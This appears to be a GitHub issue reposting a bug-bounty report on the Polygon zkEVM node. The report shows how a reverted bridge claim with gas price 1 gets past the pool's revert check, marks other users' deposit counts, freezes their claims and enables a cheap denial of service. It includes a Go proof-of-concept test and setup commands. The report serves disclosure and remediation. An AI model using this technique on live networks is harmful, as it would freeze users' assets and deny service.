Reviewing bug with claims asked by Security Team

[Psykepro]

Info from Dean Pierce:

`Bug Description
Brief/Intro
By setting the gas price of claim transactions to a non-zero value, it is possible to bypass the pre-executed isReverted check of claim transactions, adding reverted claim transactions to the tx pool. This enables malicious marking of the deposit count of other users, which makes normal claim transactions from being cannot add to the tx pool and thus being frozen. Additionally, the attacker can submit a large number of claim transactions in order to DOS the network so that new transactions can not be confirmed.
Details
The [claim] (https://github.com/0xPolygonHermez/zkevm-contracts/blob/v1.0.0-fork.3/contracts/PolygonZkEVMBridge.sol#L311) transaction on L2 is used to withdraw tokens on L2 contact that bridge from L1, to execute this transaction, the contract requires the input of the index (aka the deposit count) of the SMT and the SMT proof to verify that the asset to be claimed has been locked on L1.
Since new users on L2 do not have balances to pay for gas fees, the claim transaction is designed to be free, meaning that the gas price is allowed to be 0.
https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/pool/transaction.go#L55
// IsClaimTx checks, if tx is a claim tx
func (tx *Transaction) IsClaimTx(l2BridgeAddr common.Address, freeClaimGasLimit uint64) bool {
if tx.To() == nil {
return false
}

txGas := tx.Gas()
if txGas > freeClaimGasLimit {
	return false
}

if *tx.To() == l2BridgeAddr &&
	strings.HasPrefix("0x"+common.Bytes2Hex(tx.Data()), BridgeClaimMethodSignature) {
	return true
}
return false

}
https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/pool/pool.go#L346-L353
// allow a claim tx gas price less than minSuggestedGasPrice
if !poolTx.IsClaims {
p.minSuggestedGasPriceMux.RLock()
gasPriceCmp := poolTx.GasPrice().Cmp(p.minSuggestedGasPrice)
p.minSuggestedGasPriceMux.RUnlock()
if gasPriceCmp == -1 {
return ErrGasPrice
}
}
To avoid adding duplicate/invalid claim transactions to the tx pool leading to DoS attacks by multiple free execution and proving, the claim transaction is marked deposit count as used the moment the tx is added into the pool, and before doing so the tx gets pre-executed to ensure that it will succeed.
https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/pool/pool.go#L182-L229
We can notice that the above code logic of handling pre-execution results is that if free (meaning gas price is less than or equal to 0) and the claim transaction is reverted then return a free claim reverted error, then do not add it to the tx pool, else it will mark the deposit count of the transaction and add it to the transaction pool.
The else here actually contains three cases:
free and not revert
not free and not revert
not free and revert
The first two cases have the correct handling, but the third case incorrectly marks the revert claim transaction deposit count and adds it to the tx pool, which breaks the expected design that the claim transaction added to the tx pool needs to ensure will succeed.
Therefore, we can bypass the isReverted check of claim transaction by setting the gas fee to non-zero, e.g. 1, and add it to the transaction pool successfully to mark any deposit count.
Impact
An attacker can maliciously mark any deposit count, thus causing claim transactions that correctly use the deposit count and SMT proof will be rejected due to the deposit count already exists error.
https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/pool/pool.go#L195-L203
exists, err := p.storage.DepositCountExists(ctx, *depositCount)
if err != nil && !errors.Is(err, ErrNotFound) {
return err
}
// if the claim deposit count already exist in the pool,
// the transaction gets rejected
if exists {
return fmt.Errorf("deposit count already exists")
}
Since the tx pool uses PostgreSQL and transactions are not deleted after being executed by the sequencer, instead, they are set to the selected status. https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/sequencer/dbmanager.go#L224
err = d.txPool.UpdateTxStatus(d.ctx, txToStore.txResponse.TxHash, pool.TxStatusSelected, false)
This means that the malicious claim transaction is always in the pending or selected state, and will result in the property claims transaction cannot be executed before the node fix upgrade, leading to the long-term freeze of L1 to L2 assets.
In addition, it is also possible to achieve an extremely low-cost DoS against nodes by sending a large number of claim transactions with just one gas price per transaction, causing the node to execute and prove a large number of transactions, and since claim transactions have the highest efficiency, this will cause other transactions from normal users to be unable to be executed and confirmed.
if tx.IsClaim {
eff = big.NewFloat(math.MaxFloat64)
}
https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/sequencer/txtracker.go#L93-L95
Risk Breakdown
The vulnerability is fairly easy to exploit, and due to the fact that there is no requirement that the gas price must be greater than the minSuggestedGasPrice, it results in extremely low costs for attackers.
By maliciously marking claim transactions with an increasing deposit count from the current count, they can freeze all future claim transactions and achieve the effect of DoS on the network at the same time.
Recommendation
Ensure that all claim revert is handled in the pre-execution result check.
Proof of concept
Here is an e2e test to prove that the revert claim can be added to the transaction pool and applied to reject transactions having the same deposit count.
func Test_AddRevertedClaimToFreezeUser(t *testing.T) {
if testing.Short() {
t.Skip()
}

var err error
err = operations.Teardown()
require.NoError(t, err)

defer func() { require.NoError(t, operations.Teardown()) }()

ctx := context.Background()
opsCfg := operations.GetDefaultOperationsConfig()
opsMan, err := operations.NewManager(ctx, opsCfg)
require.NoError(t, err)
err = opsMan.Setup()
require.NoError(t, err)

client := operations.MustGetClient(operations.DefaultL2NetworkURL)
auth := operations.MustGetAuth(operations.DefaultSequencerPrivateKey, operations.DefaultL2ChainID)

bridgeAddr := common.HexToAddress("0xff0EE8ea08cEf5cb4322777F5CC3E8A584B8A4A0")
bridgeSC, err := bridge.NewPolygonzkevmbridge(bridgeAddr, client)
require.NoError(t, err)

auth.GasLimit = 53000
auth.GasPrice = big.NewInt(0)

_, err = bridgeSC.ClaimAsset(auth, [32][32]byte{}, uint32(123456789), [32]byte{}, [32]byte{}, 69, common.Address{}, uint32(20), common.Address{}, big.NewInt(0), []byte{})
require.Equal(t, err.Error(), "free claim reverted") // Pre-execute revert claim transaction cannot be added to the tx pool by design https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/pool/pool.go#L188

auth.GasPrice = big.NewInt(1)
_, err = bridgeSC.ClaimAsset(auth, [32][32]byte{}, uint32(123456789), [32]byte{}, [32]byte{}, 69, common.Address{}, uint32(20), common.Address{}, big.NewInt(0), []byte{})
require.NoError(t, err) // Malicious actors set non-zero gas price to bypass revert reject https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/pool/pool.go#L189

auth.GasPrice = big.NewInt(100) // Normal user would send a free claim, but in order not to construct an smt to send a not-revert transaction, a non-zero gas tx mock is used here
_, err = bridgeSC.ClaimAsset(auth, [32][32]byte{}, uint32(123456789), [32]byte{}, [32]byte{}, 69, common.Address{}, uint32(20), common.Address{}, big.NewInt(0), []byte{})
require.Equal(t, err.Error(), "deposit count already exists") // Freeze normal claim tx of other user https://github.com/0xPolygonHermez/zkevm-node/blob/v0.0.6/pool/pool.go#L202

}
clone and cd to the zkevm-node project's test Folder
git clone git@github.com:0xPolygonHermez/zkevm-node.git
cd zkevm-node
git checkout merge/v5 // #2039
Copy the above test code to the end of the test/e2e/pool_test.go file
run make run to start the test env
cd test
make run
run e2e test
cd e2e
go test -v -run Test_AddRevertedClaimToFreezeUser`